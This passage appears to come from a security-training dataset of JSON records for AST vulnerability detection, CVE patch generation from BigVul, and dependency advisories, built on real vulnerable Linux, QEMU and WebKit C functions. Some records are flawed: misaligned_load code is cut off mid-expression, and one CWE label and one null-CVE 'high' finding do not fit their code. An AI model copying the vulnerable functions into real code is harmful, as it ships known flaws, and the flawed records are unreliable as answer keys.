\"task\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"bool\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"on\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"debugctl\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"/*\\n \\t * Ensure irq/preemption can't change debugctl in between.\\n \\t * Note also that both TIF_BLOCKSTEP and debugctl should\\n \\t * be changed atomically wrt preemption.\\n\\t * FIXME: this means that set/clear TIF_BLOCKSTEP is simply\\n\\t * wrong if task != current, SIGKILL can wakeup the stopped\\n\\t * tracee and set/clear can play with the running task, this\\n\\t * can confuse the next __switch_to_xtra().\\n \\t */\",\n \"ast_node\": \"comment\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"local_irq_disable\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 21\n },\n {\n \"token\": \"debugctl\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 15,\n \"col\": 11\n },\n {\n \"token\": \"get_debugctlmsr\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 30\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 16,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 4\n },\n {\n \"token\": \"on\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 5\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 7\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 16,\n \"col\": 9\n },\n {\n \"token\": \"debugctl\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 2\n },\n {\n \"token\": \"|=\",\n \"ast_node\": \"|=\",\n \"line\": 17,\n \"col\": 11\n },\n {\n \"token\": \"DEBUGCTLMSR_BTF\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 29\n },\n {\n \"token\": \"set_tsk_thread_flag\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 21\n },\n {\n \"token\": \"task\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 18,\n \"col\": 26\n },\n {\n \"token\": \"TIF_BLOCKSTEP\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 18,\n \"col\": 42\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 19,\n \"col\": 1\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 19,\n \"col\": 3\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 19,\n \"col\": 8\n },\n {\n \"token\": \"debugctl\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 2\n },\n {\n \"token\": \"&=\",\n \"ast_node\": \"&=\",\n \"line\": 20,\n \"col\": 11\n },\n {\n \"token\": \"~\",\n \"ast_node\": \"~\",\n \"line\": 20,\n \"col\": 14\n },\n {\n \"token\": \"DEBUGCTLMSR_BTF\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 20,\n \"col\": 30\n },\n {\n \"token\": \"clear_tsk_thread_flag\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 21,\n \"col\": 23\n },\n {\n \"token\": \"task\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 21,\n \"col\": 28\n },\n {\n \"token\": \"TIF_BLOCKSTEP\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 21,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 21,\n \"col\": 44\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 22,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 23,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-522", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.jenkins-ci.plugins:assembla-auth\nInstalled version: <1.13\nSummary: Jenkins Assembla Auth Plugin stores credentials in plain text", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-wmq3-24jm-m8xh\",\n \"cve\": \"CVE-2019-10280\",\n \"aliases\": [\n \"CVE-2019-10280\"\n ],\n \"cwe\": \"CWE-522\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.jenkins-ci.plugins:assembla-auth\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.13\",\n \"fixed_version\": \"1.13\",\n \"finding\": \"Jenkins Assembla Auth Plugin stores credentials in plain text\",\n \"remediation\": \"Upgrade org.jenkins-ci.plugins:assembla-auth to 1.13 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-399). Produce the patched version and explain the fix. Output JSON.", "input": "static int misaligned_load(struct pt_regs *regs,\n\t\t\t __u32 opcode,\n\t\t\t int displacement_not_indexed,\n\t\t\t int width_shift,\n\t\t\t int do_sign_extend)\n{\n\t/* Return -1 for a fault, 0 for OK */\n\tint error;\n\tint destreg;\n\t__u64 address;\n\n\terror = generate_and_check_address(regs, opcode,\n\t\t\tdisplacement_not_indexed, width_shift, &address);\n\tif (error < 0) {\n \t\treturn error;\n \t}\n \n\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, address);\n \n \tdestreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {\n\t\t__u64 buffer;\n\n\t\tif (!access_ok(VERIFY_READ, (unsigned long) address, 1UL< 0) {\n\t\t\treturn -1; /* fault */\n\t\t}\n\t\tswitch (width_shift) {\n\t\tcase 1:\n\t\t\tif (do_sign_extend) {\n\t\t\t\tregs->regs[destreg] = (__u64)(__s64) *(__s16 *) &buffer;\n\t\t\t} else {\n\t\t\t\tregs->regs[destreg] = (__u64) *(__u16 *) &buffer;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tregs->regs[destreg] = (__u64)(__s64) *(__s32 *) &buffer;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tregs->regs[destreg] = buffer;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tprintk(\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\n\",\n\t\t\t\twidth_shift, (unsigned long) regs->pc);\n\t\t\tbreak;\n\t\t}\n\t} else {\n\t\t/* kernel mode - we can take short cuts since if we fault, it's a genuine bug */\n\t\t__u64 lo, hi;\n\n\t\tswitch (width_shift) {\n\t\tcase 1:\n\t\t\tmisaligned_kernel_word_load(address, do_sign_extend, ®s->regs[destreg]);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tasm (\"ldlo.l %1, 0, %0\" : \"=r\" (lo) : \"r\" (address));\n\t\t\tasm (\"ldhi.l %1, 3, %0\" : \"=r\" (hi) : \"r\" (address));\n\t\t\tregs->regs[destreg] = lo | hi;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tasm (\"ldlo.q %1, 0, %0\" : \"=r\" (lo) : \"r\" (address));\n\t\t\tasm (\"ldhi.q %1, 7, %0\" : \"=r\" (hi) : \"r\" (address));\n\t\t\tregs->regs[destreg] = lo | hi;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tprintk(\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\n\",\n\t\t\t\twidth_shift, (unsigned long) regs->pc);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn 0;\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"cve\": \"CVE-2011-2918\",\n \"fixed_code\": \"static int misaligned_load(struct pt_regs *regs,\\n\\t\\t\\t __u32 opcode,\\n\\t\\t\\t int displacement_not_indexed,\\n\\t\\t\\t int width_shift,\\n\\t\\t\\t int do_sign_extend)\\n{\\n\\t/* Return -1 for a fault, 0 for OK */\\n\\tint error;\\n\\tint destreg;\\n\\t__u64 address;\\n\\n\\terror = generate_and_check_address(regs, opcode,\\n\\t\\t\\tdisplacement_not_indexed, width_shift, &address);\\n\\tif (error < 0) {\\n \\t\\treturn error;\\n \\t}\\n \\n\\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, address);\\n \\n \\tdestreg = (opcode >> 4) & 0x3f;\\n \\tif (user_mode(regs)) {\\n\\t\\t__u64 buffer;\\n\\n\\t\\tif (!access_ok(VERIFY_READ, (unsigned long) address, 1UL< 0) {\\n\\t\\t\\treturn -1; /* fault */\\n\\t\\t}\\n\\t\\tswitch (width_shift) {\\n\\t\\tcase 1:\\n\\t\\t\\tif (do_sign_extend) {\\n\\t\\t\\t\\tregs->regs[destreg] = (__u64)(__s64) *(__s16 *) &buffer;\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tregs->regs[destreg] = (__u64) *(__u16 *) &buffer;\\n\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tregs->regs[destreg] = (__u64)(__s64) *(__s32 *) &buffer;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tregs->regs[destreg] = buffer;\\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t\\tprintk(\\\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\\\n\\\",\\n\\t\\t\\t\\twidth_shift, (unsigned long) regs->pc);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t} else {\\n\\t\\t/* kernel mode - we can take short cuts since if we fault, it's a genuine bug */\\n\\t\\t__u64 lo, hi;\\n\\n\\t\\tswitch (width_shift) {\\n\\t\\tcase 1:\\n\\t\\t\\tmisaligned_kernel_word_load(address, do_sign_extend, ®s->regs[destreg]);\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tasm (\\\"ldlo.l %1, 0, %0\\\" : \\\"=r\\\" (lo) : \\\"r\\\" (address));\\n\\t\\t\\tasm (\\\"ldhi.l %1, 3, %0\\\" : \\\"=r\\\" (hi) : \\\"r\\\" (address));\\n\\t\\t\\tregs->regs[destreg] = lo | hi;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tasm (\\\"ldlo.q %1, 0, %0\\\" : \\\"=r\\\" (lo) : \\\"r\\\" (address));\\n\\t\\t\\tasm (\\\"ldhi.q %1, 7, %0\\\" : \\\"=r\\\" (hi) : \\\"r\\\" (address));\\n\\t\\t\\tregs->regs[destreg] = lo | hi;\\n\\t\\t\\tbreak;\\n\\n\\t\\tdefault:\\n\\t\\t\\tprintk(\\\"Unexpected width_shift %d in misaligned_load, PC=%08lx\\\\n\\\",\\n\\t\\t\\t\\twidth_shift, (unsigned long) regs->pc);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\n\\treturn 0;\\n\\n}\\n\",\n \"change_summary\": \"perf: Remove the nmi parameter from the swevent and overflow interface\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-94", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-94). Produce the patched version and explain the fix. Output JSON.", "input": "static int ssi_sd_load(QEMUFile *f, void *opaque, int version_id)\n{\n SSISlave *ss = SSI_SLAVE(opaque);\n ssi_sd_state *s = (ssi_sd_state *)opaque;\n int i;\n\n if (version_id != 1)\n return -EINVAL;\n\n s->mode = qemu_get_be32(f);\n s->cmd = qemu_get_be32(f);\n for (i = 0; i < 4; i++)\n s->cmdarg[i] = qemu_get_be32(f);\n for (i = 0; i < 5; i++)\n s->response[i] = qemu_get_be32(f);\n s->arglen = qemu_get_be32(f);\n s->response_pos = qemu_get_be32(f);\n s->stopping = qemu_get_be32(f);\n \n ss->cs = qemu_get_be32(f);\n s->mode = SSI_SD_CMD;\n dinfo = drive_get_next(IF_SD);\n s->sd = sd_init(dinfo ? dinfo->bdrv : NULL, true);\n if (s->sd == NULL) {\n return -1;\n }\n register_savevm(dev, \"ssi_sd\", -1, 1, ssi_sd_save, ssi_sd_load, s);\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"cve\": \"CVE-2013-4537\",\n \"fixed_code\": \"static int ssi_sd_load(QEMUFile *f, void *opaque, int version_id)\\n{\\n SSISlave *ss = SSI_SLAVE(opaque);\\n ssi_sd_state *s = (ssi_sd_state *)opaque;\\n int i;\\n\\n if (version_id != 1)\\n return -EINVAL;\\n\\n s->mode = qemu_get_be32(f);\\n s->cmd = qemu_get_be32(f);\\n for (i = 0; i < 4; i++)\\n s->cmdarg[i] = qemu_get_be32(f);\\n for (i = 0; i < 5; i++)\\n s->response[i] = qemu_get_be32(f);\\n s->arglen = qemu_get_be32(f);\\n if (s->mode == SSI_SD_CMDARG &&\\n (s->arglen < 0 || s->arglen >= ARRAY_SIZE(s->cmdarg))) {\\n return -EINVAL;\\n }\\n s->response_pos = qemu_get_be32(f);\\n s->stopping = qemu_get_be32(f);\\n if (s->mode == SSI_SD_RESPONSE &&\\n (s->response_pos < 0 || s->response_pos >= ARRAY_SIZE(s->response) ||\\n (!s->stopping && s->arglen > ARRAY_SIZE(s->response)))) {\\n return -EINVAL;\\n }\\n \\n ss->cs = qemu_get_be32(f);\\n s->mode = SSI_SD_CMD;\\n dinfo = drive_get_next(IF_SD);\\n s->sd = sd_init(dinfo ? dinfo->bdrv : NULL, true);\\n if (s->sd == NULL) {\\n return -1;\\n }\\n register_savevm(dev, \\\"ssi_sd\\\", -1, 1, ssi_sd_save, ssi_sd_load, s);\\n return 0;\\n}\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": "static int nci_extract_activation_params_iso_dep(struct nci_dev *ndev,\n\t\t\tstruct nci_rf_intf_activated_ntf *ntf, __u8 *data)\n{\n\tstruct activation_params_nfca_poll_iso_dep *nfca_poll;\n\tstruct activation_params_nfcb_poll_iso_dep *nfcb_poll;\n\n \tswitch (ntf->activation_rf_tech_and_mode) {\n \tcase NCI_NFC_A_PASSIVE_POLL_MODE:\n \t\tnfca_poll = &ntf->activation_params.nfca_poll_iso_dep;\n\t\tnfca_poll->rats_res_len = *data++;\n \t\tpr_debug(\"rats_res_len %d\\n\", nfca_poll->rats_res_len);\n \t\tif (nfca_poll->rats_res_len > 0) {\n \t\t\tmemcpy(nfca_poll->rats_res,\n\t\t\t data, nfca_poll->rats_res_len);\n\t\t}\n\t\tbreak;\n \n \tcase NCI_NFC_B_PASSIVE_POLL_MODE:\n \t\tnfcb_poll = &ntf->activation_params.nfcb_poll_iso_dep;\n\t\tnfcb_poll->attrib_res_len = *data++;\n \t\tpr_debug(\"attrib_res_len %d\\n\", nfcb_poll->attrib_res_len);\n \t\tif (nfcb_poll->attrib_res_len > 0) {\n \t\t\tmemcpy(nfcb_poll->attrib_res,\n\t\t\t data, nfcb_poll->attrib_res_len);\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\tpr_err(\"unsupported activation_rf_tech_and_mode 0x%x\\n\",\n\t\t ntf->activation_rf_tech_and_mode);\n\t\treturn NCI_STATUS_RF_PROTOCOL_ERROR;\n\t}\n\n\treturn NCI_STATUS_OK;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2012-3364\",\n \"fixed_code\": \"static int nci_extract_activation_params_iso_dep(struct nci_dev *ndev,\\n\\t\\t\\tstruct nci_rf_intf_activated_ntf *ntf, __u8 *data)\\n{\\n\\tstruct activation_params_nfca_poll_iso_dep *nfca_poll;\\n\\tstruct activation_params_nfcb_poll_iso_dep *nfcb_poll;\\n\\n \\tswitch (ntf->activation_rf_tech_and_mode) {\\n \\tcase NCI_NFC_A_PASSIVE_POLL_MODE:\\n \\t\\tnfca_poll = &ntf->activation_params.nfca_poll_iso_dep;\\n\\t\\tnfca_poll->rats_res_len = min_t(__u8, *data++, 20);\\n \\t\\tpr_debug(\\\"rats_res_len %d\\\\n\\\", nfca_poll->rats_res_len);\\n \\t\\tif (nfca_poll->rats_res_len > 0) {\\n \\t\\t\\tmemcpy(nfca_poll->rats_res,\\n\\t\\t\\t data, nfca_poll->rats_res_len);\\n\\t\\t}\\n\\t\\tbreak;\\n \\n \\tcase NCI_NFC_B_PASSIVE_POLL_MODE:\\n \\t\\tnfcb_poll = &ntf->activation_params.nfcb_poll_iso_dep;\\n\\t\\tnfcb_poll->attrib_res_len = min_t(__u8, *data++, 50);\\n \\t\\tpr_debug(\\\"attrib_res_len %d\\\\n\\\", nfcb_poll->attrib_res_len);\\n \\t\\tif (nfcb_poll->attrib_res_len > 0) {\\n \\t\\t\\tmemcpy(nfcb_poll->attrib_res,\\n\\t\\t\\t data, nfcb_poll->attrib_res_len);\\n\\t\\t}\\n\\t\\tbreak;\\n\\n\\tdefault:\\n\\t\\tpr_err(\\\"unsupported activation_rf_tech_and_mode 0x%x\\\\n\\\",\\n\\t\\t ntf->activation_rf_tech_and_mode);\\n\\t\\treturn NCI_STATUS_RF_PROTOCOL_ERROR;\\n\\t}\\n\\n\\treturn NCI_STATUS_OK;\\n}\\n\",\n \"change_summary\": \"NFC: Prevent multiple buffer overflows in NCI\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void perf_log_throttle(struct perf_event *event, int enable)\n{\n\tstruct perf_output_handle handle;\n\tstruct perf_sample_data sample;\n\tint ret;\n\n\tstruct {\n\t\tstruct perf_event_header\theader;\n\t\tu64\t\t\t\ttime;\n\t\tu64\t\t\t\tid;\n\t\tu64\t\t\t\tstream_id;\n\t} throttle_event = {\n\t\t.header = {\n\t\t\t.type = PERF_RECORD_THROTTLE,\n\t\t\t.misc = 0,\n\t\t\t.size = sizeof(throttle_event),\n\t\t},\n\t\t.time\t\t= perf_clock(),\n\t\t.id\t\t= primary_event_id(event),\n\t\t.stream_id\t= event->id,\n\t};\n\n\tif (enable)\n\t\tthrottle_event.header.type = PERF_RECORD_UNTHROTTLE;\n\n \tperf_event_header__init_id(&throttle_event.header, &sample, event);\n \n \tret = perf_output_begin(&handle, event,\n\t\t\t\tthrottle_event.header.size, 1, 0);\n \tif (ret)\n \t\treturn;\n \n\tperf_output_put(&handle, throttle_event);\n\tperf_event__output_id_sample(event, &handle, &sample);\n\tperf_output_end(&handle);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2918\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 29\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"assignment_expression\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"perf_output_begin\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 28,\n \"col\": 25\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 28,\n \"col\": 26\n },\n {\n \"token\": \"handle\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 28,\n \"col\": 33\n },\n {\n \"token\": \"event\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 28,\n \"col\": 40\n },\n {\n \"token\": \"throttle_event\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 29,\n \"col\": 18\n },\n {\n \"token\": \"header\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 19\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 29,\n \"col\": 25\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 29,\n \"col\": 30\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 29,\n \"col\": 32\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 29,\n \"col\": 33\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 29,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 29,\n \"col\": 36\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-440", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: io.grpc:grpc-protobuf\nInstalled version: 1.53.0\nSummary: Connection confusion in gRPC", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-cfgp-2977-2fmm\",\n \"cve\": \"CVE-2023-32731\",\n \"aliases\": [\n \"CVE-2023-32731\",\n \"PYSEC-2026-1427\"\n ],\n \"cwe\": \"CWE-440\",\n \"ecosystem\": \"Maven\",\n \"package\": \"io.grpc:grpc-protobuf\",\n \"severity\": \"high\",\n \"affected_versions\": \">=1.53.0, <1.53.1\",\n \"fixed_version\": \"1.53.1\",\n \"finding\": \"Connection confusion in gRPC\",\n \"remediation\": \"Upgrade io.grpc:grpc-protobuf to 1.53.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-770", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: next\nInstalled version: 15.0.0\nSummary: Next.js vulnerable to Denial of Service via connection exhaustion in applications using Cache Components", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-mg66-mrh9-m8jx\",\n \"cve\": \"CVE-2026-44579\",\n \"aliases\": [\n \"CVE-2026-44579\"\n ],\n \"cwe\": \"CWE-770\",\n \"ecosystem\": \"npm\",\n \"package\": \"next\",\n \"severity\": \"high\",\n \"affected_versions\": \">=15.0.0, <15.5.16\",\n \"fixed_version\": \"15.5.16\",\n \"finding\": \"Next.js vulnerable to Denial of Service via connection exhaustion in applications using Cache Components\",\n \"remediation\": \"Upgrade next to 15.5.16 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "JSGlobalContextRef webkit_web_frame_get_global_context(WebKitWebFrame* frame)\n{\n g_return_val_if_fail(WEBKIT_IS_WEB_FRAME(frame), NULL);\n\n Frame* coreFrame = core(frame);\n if (!coreFrame)\n return NULL;\n \n return toGlobalRef(coreFrame->script()->globalObject()->globalExec());\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": null,\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [\n 9\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"JSGlobalContextRef\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"webkit_web_frame_get_global_context\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"WebKitWebFrame\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 71\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"g_return_val_if_fail\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"WEBKIT_IS_WEB_FRAME\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 51\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 57\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 58\n },\n {\n \"token\": \"Frame\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"coreFrame\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \"core\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 